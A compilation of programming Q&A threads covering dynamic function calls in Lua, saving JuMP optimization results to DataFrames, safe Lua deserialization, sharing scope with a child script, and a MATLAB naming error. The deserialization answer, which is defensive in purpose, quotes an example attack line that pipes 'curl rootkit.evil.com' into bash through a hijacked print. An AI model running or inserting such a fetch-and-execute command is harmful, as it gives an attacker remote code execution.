I have a bunch of generated modules with a naming scheme similar to lib1_0 where 1 is major ver and 0 is minor ver. Inside each is around 300 functions named like type_156.
I pick up input and piece together which function from which module I need to execute based on external factors.
I would like to be able to piece together a function call based on those factors
I have tried various loadstring() (only works on local stuff, not modules) _G[] which looks like the same thing
lib1_0.lua
local lib1_0 = {}
function lib1_0.type_1(arg1, arg2, arg3)
print(arg1, arg2, arg3)
end
function lib1_0.type_2(arg1, arg2, arg3)
print(arg1, arg2, arg3)
end
return lib1_0
mainfile.lua
call1_0 = require(lib1_0)
call1_2 = require(lib1_2)
call2_0 = require(lib2_0)
-- do stuff and find that I want to execute lib1_0 function 2 based on external factors
major = 1
minor = 0
func2run = 2
call = "call" .. major .. "_" .. minor .. ".type_" .. func2run
_G[call]("test1", "test2", "test3")
--does not work, just an example of what I want to do
Any solutions? am I missing something obvious? I am very new to Lua so I could well have just missed the obvious
note the quotes in the require() call.
Also, see Programming in Lua (PiL) 4th edition, p148-149 for more about load().
call1_0 = require("lib1_0")
-- example of desired outcome
call1_0.type_2("x","y","z") --> x y z
-- build up call from pieces
local major, minor, fnum = 1, 0, 2
local args = "'x', 'y', 'z'"
local codestr = string.format("call%d_%d.type_%d(%s)", major, minor, fnum, args)
print(codestr) --> call1_0.type_2('x', 'y', 'z')
local code = load(codestr)
code() --> x y z
local call_1 = require(lib1_0)
package.loaded.call_1 = call_1
package.loaded["lib1_0"] = nil
local call_2 = require(lib1_0)
package.loaded.call_2 = call_2
package.loaded["lib1_0"] = nil
Related
I would like to save all my variables and dual variables of my finished lp-optimization in an efficient manner. My current solution works, but is neither elegant nor suited for larger optimization programs with many variables and constraints because I define and push! every single variable into DataFrames separately. Is there a way to iterate through the variables using all_variables() and all_constraints() for the duals? While iterating, I would like to push the results into DataFrames with the variable index name as columns and save the DataFrame in a Dict().
A conceptual example would be for variables:
Result_vars = Dict()
for vari in all_variables(Model)
Resul_vars["vari"] = DataFrame(data=[indexval(vari),value(vari)],columns=[index(vari),"Value"])
end
An example of the appearance of the declared variable in JuMP and DataFrame:
#variable(Model, p[t=s_time,n=s_n,m=s_m], lower_bound=0,base_name="Expected production")
And Result_vars[p] shall approximately look like:
t,n,m,Value
1,1,1,50
2,1,1,60
3,1,1,145
Presumably, you could go something like:
x = all_variables(model)
DataFrame(
name = variable_name.(x),
Value = value.(x),
)
If you want some structure more complicated, you need to write custom code.
T, N, M, primal_solution = [], [], [], []
for t in s_time, n in s_n, m in s_m
push!(T, t)
push!(N, n)
push!(M, m)
push!(primal_solution, value(p[t, n, m]))
end
DataFrame(t = T, n = N, m = M, Value = primal_solution)
See here for constraints: https://jump.dev/JuMP.jl/stable/constraints/#Accessing-constraints-from-a-model-1. You want something like:
for (F, S) in list_of_constraint_types(model)
for con in all_constraints(model, F, S)
#show dual(con)
end
end
Thanks to Oscar, I have built a solution that could help to automatize the extraction of results.
The solution is build around a naming convention using base_name in the variable definition. One can copy paste the variable definition into base_name followed by :. E.g.:
#variable(Model, p[t=s_time,n=s_n,m=s_m], lower_bound=0,base_name="p[t=s_time,n=s_n,m=s_m]:")
The naming convention and syntax can be changed, comments can e.g. be added, or one can just not define a base_name. The following function divides the base_name into variable name, sets (if needed) and index:
function var_info(vars::VariableRef)
split_conv = [":","]","[",","]
x_str = name(vars)
if occursin(":",x_str)
x_str = replace(x_str, " " => "") #Deletes all spaces
x_name,x_index = split(x_str,split_conv[1]) #splits raw variable name+ sets and index
x_name = replace(x_name, split_conv[2] => "")
x_name,s_set = split(x_name,split_conv[3])#splits raw variable name and sets
x_set = split(s_set,split_conv[4])
x_index = replace(x_index, split_conv[2] => "")
x_index = replace(x_index, split_conv[3] => "")
x_index = split(x_index,split_conv[4])
return (x_name,x_set,x_index)
else
println("Var base_name not properly defined. Special Syntax required in form var[s=set]: ")
end
end
The next functions create the columns and the index values plus columns for the primal solution ("Value").
function create_columns(x)
col_ind=[String(var_info(x)[2][col]) for col in 1:size(var_info(x)[2])[1]]
cols = append!(["Value"],col_ind)
return cols
end
function create_index(x)
col_ind=[String(var_info(x)[3][ind]) for ind in 1:size(var_info(x)[3])[1]]
index = append!([string(value(x))],col_ind)
return index
end
function create_sol_matrix(varss,model)
nested_sol_array=[create_index(xx) for xx in all_variables(model) if varss[1]==var_info(xx)[1]]
sol_array=hcat(nested_sol_array...)
return sol_array
end
Finally, the last function creates the Dict which holds all results of the variables in DataFrames in the previously mentioned style:
function create_var_dict(model)
Variable_dict=Dict(vars[1]
=>DataFrame(Dict(vars[2][1][cols]
=>create_sol_matrix(vars,model)[cols,:] for cols in 1:size(vars[2][1])[1]))
for vars in unique([[String(var_info(x)[1]),[create_columns(x)]] for x in all_variables(model)]))
return Variable_dict
end
When those functions are added to your script, you can simply retrieve all the solutions of the variables after the optimization by calling create_var_dict():
var_dict = create_var_dict(model)
Be aware: they are nested functions. When you change the naming convention, you might have to update the other functions as well. If you add more comments you have to avoid using [, ], and ,.
This solution is obviously far from optimal. I believe there could be a more efficient solution falling back to MOI.
I have already serialized a table in lua.Does lua have any function to deserialize it?
function dump(o)
if type(o) == 'table' then
local s = '{ '
for k,v in pairs(o) do
if type(k) ~= 'number' then k = '"'..k..'"' end
s = s .. '['..k..'] = ' .. dump(v) .. ','
end
return s .. '} '
else
return tostring(o)
end
end
local people = {
{
name = "Fred",
address = "16 Long Street",
phone = "123456"
},
{
name = "Wilma",
address = "16 Long Street",
phone = "123456"
},
{
name = "Barney",
address = "17 Long Street",
phone = "123457"
}
}
file = io.open("test.lua", "a")
file:write("People:", dump(people))
The output of this program is:
People: { [1] = { ["phone"] = 123456,["name"] = Fred,["address"] = 16 Long Street,} ,[2] = { ["phone"] = 123456,["name"] = Wilma,
["address"] = 16 Long Street,} ,[3] = { ["phone"] = 123457,["name"] = Barney,["address"] = 17 Long Street,} ,}
Please suggest a way to Deserialize it in lua.
If you slightly change your code…
...
end
return s .. '} '
+++ elseif type(o) == 'string' then
+++ return ("%q"):format( o )
else
return tostring(o)
end
...
…you generate valid Lua.
Now you can
local function condfail( cond, ... )
if not cond then return nil, (...) end
return ...
end
function deserialize( str, vars )
-- create dummy environment
local env = vars and setmetatable( {}, {__index=vars} ) or {}
-- create function that returns deserialized value(s)
local f, _err = load( "return "..str, "=deserialize", "t", env )
if not f then return nil, _err end -- syntax error?
-- set up safe runner
local co = coroutine.create( f )
local hook = function( ) debug.sethook( co, error, "c", 1000000 ) end
debug.sethook( co, hook, "c" )
-- now run the deserialization
return condfail( coroutine.resume( co ) )
end
to deserialize the data in a reasonably safe way.
The unsafe way to deserialize the data would be to simply load( "return "..str )( ), but that would permit running arbitrary Lua code.
First, we put the function in a separate environment so it cannot influence the global environment. (Else, doing, say, print = function() os.execute "curl rootkit.evil.com | bash" end would replace a function with something that is later called from a different (unprotected) context and runs arbitrary code.) For convenience, you could pass in a table so the data can refer to pre-defined variables. (You're probably not going to need this, but if you ever need pre-defined constants that's how to provide them.)
Next, we run the function in a separate coroutine so we can set a debug hook that doesn't influence the rest of the program. And then we can forbid doing any function calls by effectively setting debug.sethook( co, error, "c" ). (Because the initial call of the function that "is"/returns your data would already trigger this, we delay this by one call. So we set a hook that changes the hook to error when called.)
Now all function calls are forbidden and the outside cannot be influenced by the running code. The only remaining thing that an attacker can do is waste time - e.g. by endless loops like while true do end or ::x:: goto x. So we also set a maximum instruction count when setting the hook – debug.sethook( co, error, "c", 1000000 ). One million instructions should be enough for relatively large files. It's an arbitrary limit – increase it if it's too small. (It's enough to count up to 250000 in a loop so creating more than this many primitive values is possible).
One cheap way to deserialize data is to run it. While serializing, you build executable source. Much like you already did, but add few details - add 'return' in front of table constructor, and enclose strings with quote signs, probably some escaping will be required if strings contain quote signs inside.
Note though that it's ok for trusted data only. When data comes from external sources it may contain not just expected data, but also some code that might want to compromise your system.
Otherwise you can try json, there's lots of libs already available for json serializing/deserializing.
There are two script files with the following script
//parent.lua
function scope()
local var = "abc"
require "child"
end
//child.lua
print(var)
This way, child.lua will print a nil value because the scope in parent.lua does not expose its local features to the module. I thought it would, since the require directive is stated within this scope and after the declaration of var. My desire is to practically wholly inject all the lines of the child into the parent. The child script is just exported for better readability. How can I pass the local scope? loadfile() did not work, nor did dofile(). The function environment fenv does not harbor local values. debug.setlocal() does not seem to be able to create new variables (also it would require a receiver in the child). Any method besides recompiling the script?
You can with a bit of effort. If your variables in child are real upvalues you can "link" them to values in your scope function. If they are global variables (which seems to be the case here), you can map them to an environment using setfenv and populate that environment with values from your local variables.
The following will print abc as you'd expect (you can change loadstring to loadfile with the same effect):
function vars(f)
local func = debug.getinfo(f, "f").func
local i = 1
local vars = {}
while true do
local name, value = debug.getlocal(f, i)
if not name then break end
if string.sub(name, 1, 1) ~= '(' then vars[name] = value end
i = i + 1
end
i = 1
while func do -- check for func as it may be nil for tail calls
local name, value = debug.getupvalue(func, i)
if not name then break end
vars[name] = value
i = i + 1
end
return vars
end
function parent()
local var = "abc"
local child = loadstring("print(var)")
local env = vars(2) -- grab all local/upvalues for the current function
-- use these values to populate new environment; map to _G for everything else
setmetatable(env, {__index = _G})
setfenv(child, env)
child()
end
parent()
This is all for Lua 5.1, but it's also possible in Lua 5.2.
Is it possible in lua to execute a function from a string representing its name?
i.e: I have the string x = "foo", is it possible to do x() ?
If yes what is the syntax ?
To call a function in the global namespace (as mentioned by #THC4k) is easily done, and does not require loadstring().
x='foo'
_G[x]() -- calls foo from the global namespace
You would need to use loadstring() (or walk each table) if the function in another table, such as if x='math.sqrt'.
If loadstring() is used you would want to not only append parenthesis with ellipse (...) to allow for parameters, but also add return to the front.
x='math.sqrt'
print(assert(loadstring('return '..x..'(...)'))(25)) --> 5
or walk the tables:
function findfunction(x)
assert(type(x) == "string")
local f=_G
for v in x:gmatch("[^%.]+") do
if type(f) ~= "table" then
return nil, "looking for '"..v.."' expected table, not "..type(f)
end
f=f[v]
end
if type(f) == "function" then
return f
else
return nil, "expected function, not "..type(f)
end
end
x='math.sqrt'
print(assert(findfunction(x))(121)) -->11
I frequently put a bunch of functions in a table:
functions = {
f1 = function(arg) print("function one: "..arg) end,
f2 = function(arg) print("function two: "..arg..arg) end,
...,
fn = function(arg) print("function N: argh") end,
}
Then you can use a string as an table index and run your function like this
print(functions["f1"]("blabla"))
print(functions["f2"]("blabla"))
This is the result:
function one: blabla
function two: blablablabla
I find this to be cleaner than using loadstring(). If you don't want to create a special function table you can use _G['foo'].
loadstring is not the answer here. For starters you would need a return in the string, and other details I won't go into.
THC4k has the right idea; if you have the function name in the variable x, then the call you want is
_G[x](arg1, arg2, ...)
Names are not unique, there can be many functions names foo in different namespaces. But _G['foo'] is foo in the global namespace.
It sounds like you want to do an 'eval', which is supported in Lua like so:
assert(loadstring(x))()
You'll probably want to concatenate the "()" onto x first, though.
I made a class and in one of its methods I needed to calculate the distance between two points. So I wrote an ordinary function named "remoteness" to do this for me.
Compilation Error:
At compilation, "remoteness" was
determined to be a variable and this
variable is uninitialized.
"remoteness" is also a function name
and previous versions of MATLAB would
have called the function.
However, MATLAB 7 forbids the use of the same name in the same context as both a function and a variable.
Error in ==> TRobot>TRobot.makeVisibilityGraph at 58
obj.visiblityGraph(k,k+1) = remoteness(:,obj.VGVertices(k),obj.VGVertices(:,k+1));
I thought the name remoteness might be a name of another function, but when I changed its name to kamran the error persisted. It should be noted that I can use the kamran function (or remoteness) in the command line without any problem.
Command line example:
>> kamran([0,0],[3,4])
ans = 5
The code of the kamran function is in a separate m file.
Code for kamran function:
function dist = kamran(v1,v2)
dist = sqrt( (v1(1) - v2(1)) ^2 + (v1(2) - v2(2)) ^2 );
Code example for how kamran function is used:
function obj = makeVisibilityGraph(obj)
verticesNumber = 0;
for num = 1: size(obj.staticObstacle,2)
verticesNumber = verticesNumber + size(obj.staticObstacle(num).polygon,2);
end
% in the below line, 2 is for start and goal vertices
obj.visibilityGraph = ones(2 + size(obj.VGVertices,2)) * Inf;
for j=1 : size(obj.staticObstacle,2)
index = size(obj.VGVertices,2);
obj.VGVertices = [obj.VGVertices, obj.staticObstacle(j).polygon];
obj.labelVGVertices = [obj.labelVGVertices, ones(1,size(obj.staticObstacle(j).polygon,2))* j ];
for k = index+1 : (size(obj.VGVertices,2)-1)
obj.visiblityGraph(k,k+1) = kamran(:,obj.VGVertices(k),obj.VGVertices(:,k+1));
end
% as the first and last point of a polygon are visible to each
% other, so set them visible to each other
obj.visibilityGraph(index+1,size(obj.VGVertices,2)) = ...
kamran( obj.VGVertices(:,index+1), obj.VGVertices(:,size(obj.VGVertices,2)));
end
end
You seem to be trying to use kamran as an array:
kamran(:,obj.VGVertices(k),obj.VGVertices(:,k+1));
Notice the first parameter ":"?
I would bet MATLAB assumes that kamran (as called here) should be a 3-dimensional array, and you are trying to select the subset containing
kamran(all-of-first-index, Nth-of-second, Mth-of-third)
The second invocation of kamran looks right:
kamran( obj.VGVertices(:,index+1), obj.VGVertices(:,size(obj.VGVertices,2))
I do not know MATLAB but I notice on this line, you are running kamran with what looks like 3 arguments. In all other cases, it is executed with 2 arguments. Maybe there is something to that?
kamran(:,obj.VGVertices(k),obj.VGVertices(:,k+1));